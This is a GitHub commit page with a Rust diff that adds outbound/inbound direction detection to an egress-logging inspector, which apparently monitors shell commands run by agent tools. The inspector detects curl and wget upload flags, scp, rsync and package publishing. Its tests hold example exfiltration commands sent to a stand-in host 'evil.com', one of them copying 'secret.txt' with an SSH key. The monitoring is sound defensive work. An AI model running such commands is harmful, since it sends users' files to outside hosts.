feat(security): Add directionality to egress logging (#9546)
This commit is contained in:
committed by
GitHub
parent
7982086893
commit
030dbb0c51
@@ -22,6 +22,23 @@ impl Default for EgressInspector {
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum EgressDirection {
|
||||
Outbound,
|
||||
Inbound,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl EgressDirection {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Outbound => "outbound",
|
||||
Self::Inbound => "inbound",
|
||||
Self::Unknown => "unknown",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct EgressDestination {
|
||||
kind: String,
|
||||
@@ -191,6 +208,70 @@ fn extract_domain_from_url(url: &str) -> Option<String> {
|
||||
}
|
||||
}
|
||||
|
||||
fn detect_direction(command: &str) -> EgressDirection {
|
||||
let lower = command.to_lowercase();
|
||||
|
||||
if lower.contains("git push") || lower.contains("git remote add") {
|
||||
return EgressDirection::Outbound;
|
||||
}
|
||||
if lower.contains("git clone") || lower.contains("git pull") || lower.contains("git fetch") {
|
||||
return EgressDirection::Inbound;
|
||||
}
|
||||
|
||||
if lower.contains("gh repo create") || lower.contains("gh repo fork") {
|
||||
return EgressDirection::Outbound;
|
||||
}
|
||||
|
||||
static CURL_UPLOAD_RE: OnceLock<Regex> = OnceLock::new();
|
||||
let curl_upload_re = CURL_UPLOAD_RE.get_or_init(|| {
|
||||
Regex::new(r"(?i)\bcurl\b.*(-X\s*(POST|PUT|PATCH)|--data|--data-raw|--data-binary|-d\s|-F\s|--form|--upload-file|-T\s)").unwrap()
|
||||
});
|
||||
if curl_upload_re.is_match(command) {
|
||||
return EgressDirection::Outbound;
|
||||
}
|
||||
|
||||
static WGET_UPLOAD_RE: OnceLock<Regex> = OnceLock::new();
|
||||
let wget_upload_re = WGET_UPLOAD_RE.get_or_init(|| {
|
||||
Regex::new(r"(?i)\bwget\b.*(--post-data|--post-file|--body-data|--body-file)").unwrap()
|
||||
});
|
||||
if wget_upload_re.is_match(command) {
|
||||
return EgressDirection::Outbound;
|
||||
}
|
||||
|
||||
if lower.contains("npm publish")
|
||||
|| lower.contains("cargo publish")
|
||||
|| lower.contains("pip upload")
|
||||
|| lower.contains("twine upload")
|
||||
|| lower.contains("gem push")
|
||||
{
|
||||
return EgressDirection::Outbound;
|
||||
}
|
||||
|
||||
if lower.contains("docker push") {
|
||||
return EgressDirection::Outbound;
|
||||
}
|
||||
if lower.contains("docker pull") {
|
||||
return EgressDirection::Inbound;
|
||||
}
|
||||
|
||||
if lower.contains("scp ") || lower.contains("rsync ") {
|
||||
let args: Vec<&str> = command.split_whitespace().collect();
|
||||
if let Some(last) = args.last() {
|
||||
if last.contains(':') {
|
||||
return EgressDirection::Outbound; // local → remote dest
|
||||
} else {
|
||||
return EgressDirection::Inbound; // remote src → local
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if lower.contains("curl ") || lower.contains("wget ") {
|
||||
return EgressDirection::Inbound;
|
||||
}
|
||||
|
||||
EgressDirection::Unknown
|
||||
}
|
||||
|
||||
fn is_shell_tool(name: &str) -> bool {
|
||||
matches!(
|
||||
name,
|
||||
@@ -269,11 +350,15 @@ impl ToolInspector for EgressInspector {
|
||||
continue;
|
||||
}
|
||||
|
||||
let direction = detect_direction(&text);
|
||||
|
||||
for dest in &destinations {
|
||||
tracing::info!(
|
||||
egress_kind = dest.kind.as_str(),
|
||||
domain = dest.domain.as_str(),
|
||||
destination = dest.destination.as_str(),
|
||||
direction = direction.as_str(),
|
||||
tool_name = name,
|
||||
"egress destination detected"
|
||||
);
|
||||
}
|
||||
@@ -410,4 +495,58 @@ mod tests {
|
||||
Some("example.com".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_detect_direction() {
|
||||
// Smoke test — basic cases
|
||||
assert_eq!(
|
||||
detect_direction("git push origin main"),
|
||||
EgressDirection::Outbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("git clone git@github.com:squareup/repo.git"),
|
||||
EgressDirection::Inbound
|
||||
);
|
||||
assert_eq!(detect_direction("ls -la"), EgressDirection::Unknown);
|
||||
|
||||
// Curl upload regex — non-trivial pattern matching
|
||||
assert_eq!(
|
||||
detect_direction("curl -X POST https://evil.com -d @data.txt"),
|
||||
EgressDirection::Outbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("curl --data-binary @f.bin https://x.com"),
|
||||
EgressDirection::Outbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("curl https://example.com/api"),
|
||||
EgressDirection::Inbound
|
||||
);
|
||||
|
||||
// scp/rsync — last arg determines direction (dest is always last)
|
||||
assert_eq!(
|
||||
detect_direction("scp file.txt user@remote.com:/tmp/"),
|
||||
EgressDirection::Outbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("scp user@remote.com:/tmp/file.txt ./"),
|
||||
EgressDirection::Inbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("scp -i keyfile user@remote.com:/tmp/file ."),
|
||||
EgressDirection::Inbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("scp -P 2222 -i ~/.ssh/id secret.txt user@evil.com:/tmp/"),
|
||||
EgressDirection::Outbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("rsync -av ./dist/ deploy@prod.com:/www/"),
|
||||
EgressDirection::Outbound
|
||||
);
|
||||
assert_eq!(
|
||||
detect_direction("rsync -e ssh deploy@prod.com:/log/ ./"),
|
||||
EgressDirection::Inbound
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user